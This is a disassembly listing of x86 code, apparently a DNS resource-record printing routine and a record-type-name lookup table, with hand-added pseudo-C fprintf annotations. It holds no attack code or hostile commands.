loc_0_805FB00:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x1
		cmp	[edi+18h], eax
		ja	short loc_0_805FB10
		push	9
		jmp	loc_0_805FE2F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FB10:				; CODE XREF: sub_0_805F7E4+322j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		jmp	loc_0_805FE42
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FB1C:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		mov	ecx, [ebp+var_C] ; case	0xc
		add	ecx, esi
		mov	[ebp+var_18], ecx
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_0_805FB3E
		push	esi
		call	fprintf(edi,'\t%.*s',ebx)
		add	esi, ebx
		add	esp, 10h

loc_0_805FB3E:				; CODE XREF: sub_0_805F7E4+346j
		cmp	[ebp+var_18], esi
		jbe	short loc_0_805FB64
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_0_805FB64
		push	esi
		call	fprintf(edi,'\t%.*s',ebx)
		add	esi, ebx
		add	esp, 10h
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FB64:				; CODE XREF: sub_0_805F7E4+35Dj
					; sub_0_805F7E4+365j
		cmp	[ebp+var_8], 0Dh
		jnz	loc_0_805FFB9
		call	fprintf(edi,'\n;; *** Warning *** OS-type missing')
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FB84:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x5
		cmp	[edi+18h], eax
		ja	short loc_0_805FB9C
		push	9
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FBA5
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FB9C:				; CODE XREF: sub_0_805F7E4+3A6j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_0_805FBA5:				; CODE XREF: sub_0_805F7E4+3B3j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_0_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_0_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_0_805FBD4
		push	20h
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FBDD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FBD4:				; CODE XREF: sub_0_805F7E4+3DFj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h
		inc	dword ptr [edi+14h]

loc_0_805FBDD:				; CODE XREF: sub_0_805F7E4+3ECj
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_0_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_0_805F810
		push	edi
		push	offset asc_0_8069767 ; " (\n"
		call	sub_0_80624D0
		push	esi
		call	sub_0_804D6D4
		mov	ebx, eax
		add	esi, 4
		call	fprintf(edi,'\t\t\t%lu\t; serial\n')
		push	esi
		call	sub_0_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_0_806077C
		call	fprintf(\t\t\t%lu; refresh (%s)\n',ebx,eax) 
		add	esp, 30h
		push	esi
		call	sub_0_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_0_806077C
		call	fprintf(edi,'\t\t\t\%lu\t; retray (%s)\n',ebx,eax)
		push	esi
		call	sub_0_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_0_806077C
		call	fprintf(edi,'\t\t\t%lu\t; expire (%s)\n',ebx,eax) 
		add	esp, 30h
		push	esi
		call	sub_0_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_0_806077C
		call	fprintf(edi,'\t\t\t%lu )\t	;  minimum (%s)',ebx,eax)
		add	esp, 18h
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FCA0:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		push	esi		; case 0xe
		call	sub_0_804D6B8
		call	fprintf(edi,'\t%d ',ax)
		add	esi, 2
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_0_805F730
		mov	esi, eax
		add	esp, 1Ch
		jmp	loc_0_805FE55
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FCD0:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		push	esi		; case 0x19
		call	sub_0_804D6B8
		call	fprintf(edi,'\t%d ',ax)
		add	esi, 2
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_0_805F730
		mov	esi, eax
		add	esp, 1Ch
		test	esi, esi
		jz	loc_0_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		jbe	loc_0_805FE2D
		jmp	loc_0_805FE3C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FD14:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		push	edi		; case 0xf
		push	offset asc_0_80697DB ; "\t\""
		call	sub_0_80624D0
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_18], ecx
		add	esp, 8
		cmp	esi, ecx
		jnb	short loc_0_805FDA9
		nop	

loc_0_805FD30:				; CODE XREF: sub_0_805F7E4+5C3j
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_0_805FDA4
		mov	[ebp+var_10], ebx
		jle	short loc_0_805FDA4
		lea	esi, [esi+0]

loc_0_805FD40:				; CODE XREF: sub_0_805F7E4+5BEj
		cmp	[ebp+var_18], esi
		jbe	short loc_0_805FDA9
		cmp	byte ptr [esi],	0Ah
		jz	short loc_0_805FD4F
		cmp	byte ptr [esi],	22h
		jnz	short loc_0_805FD78

loc_0_805FD4F:				; CODE XREF: sub_0_805F7E4+564j
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_0_805FD64
		push	5Ch
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FD6D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805FD64:				; CODE XREF: sub_0_805F7E4+571j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	5Ch
		inc	dword ptr [edi+14h]

loc_0_805FD6D:				; CODE XREF: sub_0_805F7E4+57Ej
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		jbe	short loc_0_805FD80
		jmp	short loc_0_805FD90
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FD78:				; CODE XREF: sub_0_805F7E4+569j
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_0_805FD90

loc_0_805FD80:				; CODE XREF: sub_0_805F7E4+58Fj
		movzx	eax, byte ptr [esi]
		push	eax
		inc	esi
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FD9B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805FD90:				; CODE XREF: sub_0_805F7E4+591j
					; sub_0_805F7E4+59Aj
		mov	edx, [edi+14h]
		mov	al, [esi]
		mov	[edx], al
		inc	esi
		inc	dword ptr [edi+14h]

loc_0_805FD9B:				; CODE XREF: sub_0_805F7E4+5AAj
		dec	[ebp+var_10]
		cmp	[ebp+var_10], 0
		jg	short loc_0_805FD40

loc_0_805FDA4:				; CODE XREF: sub_0_805F7E4+552j
					; sub_0_805F7E4+557j
		cmp	[ebp+var_18], esi
		ja	short loc_0_805FD30

loc_0_805FDA9:				; CODE XREF: sub_0_805F7E4+549j
					; sub_0_805F7E4+55Fj
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_0_805FDB8
		push	22h
		jmp	loc_0_805FF8A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805FDB8:				; CODE XREF: sub_0_805F7E4+5CBj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	22h
		inc	dword ptr [edi+14h]
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FDC8:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		push	0		; case 0x15
		push	esi
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_0_8060BD8
		call	fprintf(edi,'\t%s',eax)
		add	esi, [ebp+var_C]
		add	esp, 18h
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FDEC:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		mov	eax, [edi+14h]	; case 0xd
		cmp	[edi+18h], eax
		ja	short loc_0_805FE04
		push	9
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FE0D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FE04:				; CODE XREF: sub_0_805F7E4+60Ej
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_0_805FE0D:				; CODE XREF: sub_0_805F7E4+61Bj
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_0_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_0_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_0_805FE3C

loc_0_805FE2D:				; CODE XREF: sub_0_805F7E4+524j
		push	20h

loc_0_805FE2F:				; CODE XREF: sub_0_805F7E4+326j
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FE45
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FE3C:				; CODE XREF: sub_0_805F7E4+52Aj
					; sub_0_805F7E4+647j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h

loc_0_805FE42:				; CODE XREF: sub_0_805F7E4+332j
		inc	dword ptr [edi+14h]

loc_0_805FE45:				; CODE XREF: sub_0_805F7E4+654j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_0_805F730
		mov	esi, eax
		add	esp, 0Ch

loc_0_805FE55:				; CODE XREF: sub_0_805F7E4+4E6j
		test	esi, esi
		jnz	loc_0_805FFB9
		jmp	loc_0_805F810
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FE64:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x63
		cmp	[edi+18h], eax
		ja	short loc_0_805FE7C
		push	9
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FE85
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FE7C:				; CODE XREF: sub_0_805F7E4+686j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_0_805FE85:				; CODE XREF: sub_0_805F7E4+693j
		push	edi
		push	esi
		call	sub_0_80624D0
		add	esi, [ebp+var_C]
		add	esp, 8
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FE98:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		cmp	[ebp+var_C], 4	; case 0x64
		jnz	loc_0_805FFB9
		push	esi
		call	sub_0_804D6D4
		push	eax
		push	offset aU	; "\t%u"

loc_0_805FEAE:				; CODE XREF: sub_0_805F7E4+2C6j
		call	fprintf(edi,...)
		add	esi, 4
		add	esp, 10h
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FEC0:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		cmp	[ebp+var_C], 4	; case 0xa
		jle	loc_0_805FFB9
		call	memmove2(esi,var_4,4)
		add	esi, 4
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_0_805EEA4
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_0_805E984
		add	esp, 4
		call	fprintf(edi,'\t%s %s ( ',eax,...)
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_20], 0
		add	esp, 20h
		jmp	short loc_0_805FF76
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FF0C:				; CODE XREF: sub_0_805F7E4+79Aj
		movzx	ecx, byte ptr [esi]
		mov	[ebp+var_10], ecx
		inc	esi
		nop	

loc_0_805FF14:				; CODE XREF: sub_0_805F7E4+790j
		cmp	byte ptr [ebp+var_10], 0
		jge	short loc_0_805FF6C
		cmp	[ebp+var_20], 0
		jnz	short loc_0_805FF35
		push	edi
		push	offset asc_0_80697EC ; "\n\t\t\t"
		call	sub_0_80624D0
		mov	[ebp+var_20], 5
		add	esp, 8

loc_0_805FF35:				; CODE XREF: sub_0_805F7E4+73Aj
		push	edi
		push	ebx
		call	sub_0_805E9B8
		add	esp, 4
		push	eax
		call	sub_0_80624D0
		add	esp, 8
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_0_805FF60
		push	20h
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FF69
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FF60:				; CODE XREF: sub_0_805F7E4+76Aj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h
		inc	dword ptr [edi+14h]

loc_0_805FF69:				; CODE XREF: sub_0_805F7E4+777j
		dec	[ebp+var_20]

loc_0_805FF6C:				; CODE XREF: sub_0_805F7E4+734j
		shl	[ebp+var_10], 1
		inc	ebx
		test	bl, 7
		jnz	short loc_0_805FF14

loc_0_805FF76:				; CODE XREF: sub_0_805F7E4+724j
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_C]
		cmp	esi, eax
		jb	short loc_0_805FF0C
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_0_805FF98
		push	29h

loc_0_805FF8A:				; CODE XREF: sub_0_805F7E4+5CFj
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FF98:				; CODE XREF: sub_0_805F7E4+7A2j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	29h
		inc	dword ptr [edi+14h]
		jmp	short loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FFA4:				; CODE XREF: sub_0_805F7E4+F2j
					; sub_0_805F7E4+F8j
					; DATA XREF: ...
		call	fprintf(edi,'\t?%d', var_8)
		add	esi, [ebp+var_C]
		add	esp, 0Ch

loc_0_805FFB9:				; CODE XREF: sub_0_805F7E4+2D0j
					; sub_0_805F7E4+30Dj ...
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_0_805FFD0
		push	0Ah
		push	edi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805FFD9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FFD0:				; CODE XREF: sub_0_805F7E4+7DBj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [edi+14h]

loc_0_805FFD9:				; CODE XREF: sub_0_805F7E4+7E8j
		mov	eax, esi
		sub	eax, [ebp+var_14]
		cmp	[ebp+var_C], eax
		jz	short loc_0_805FFF5
		call	fprintf(edi,'; packet size error (found %d, dlen waiting %d)',eax,var_c)  
		xor	esi, esi

loc_0_805FFF5:				; CODE XREF: sub_0_805F7E4+7FDj
		mov	eax, esi

loc_0_805FFF7:				; CODE XREF: sub_0_805F7E4+2Ej
		lea	esp, [ebp+var_30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805F7E4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8060004	proc near		; CODE XREF: sub_0_805F1DC+344p
					; sub_0_805F7E4+D7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-1]	; switch 255 cases 
		cmp	eax, 0FEh
		ja	loc_0_80605B4	; default
		jmp	ds:off_0_8060020[eax*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
off_0_8060020	dd offset loc_0_806041C, offset	loc_0_8060428, offset loc_0_80605B4
					; DATA XREF: sub_0_8060004+14r
		dd offset loc_0_80605B4, offset	loc_0_8060434, offset loc_0_8060440 ; jump table for switch statement
		dd offset loc_0_806044C, offset	loc_0_8060458, offset loc_0_8060464
		dd offset loc_0_8060470, offset	loc_0_806047C, offset loc_0_8060488
		dd offset loc_0_8060494, offset	loc_0_80604A0, offset loc_0_80604AC
		dd offset loc_0_80604B8, offset	loc_0_80604C4, offset loc_0_80604D0
		dd offset loc_0_80604DC, offset	loc_0_80604E8, offset loc_0_80604F4
		dd offset loc_0_8060500, offset	loc_0_806050C, offset loc_0_8060518
		dd offset loc_0_8060524, offset	loc_0_8060530, offset loc_0_806053C
		dd offset loc_0_8060548, offset	loc_0_8060554, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_8060590, offset	loc_0_806059C, offset loc_0_80605A8
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_80605B4
		dd offset loc_0_80605B4, offset	loc_0_80605B4, offset loc_0_8060560
		dd offset loc_0_806056C, offset	loc_0_8060578, offset loc_0_8060584
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_806041C:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aA	; case 0x1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060428:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aNs	; case 0x2
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060434:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aCname ; case 0x5
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060440:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aSoa ; case	0x6
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806044C:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aMb	; case 0x7
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060458:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aMg	; case 0x8
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060464:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aMr	; case 0x9
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060470:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aNull_0 ; case 0xa
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

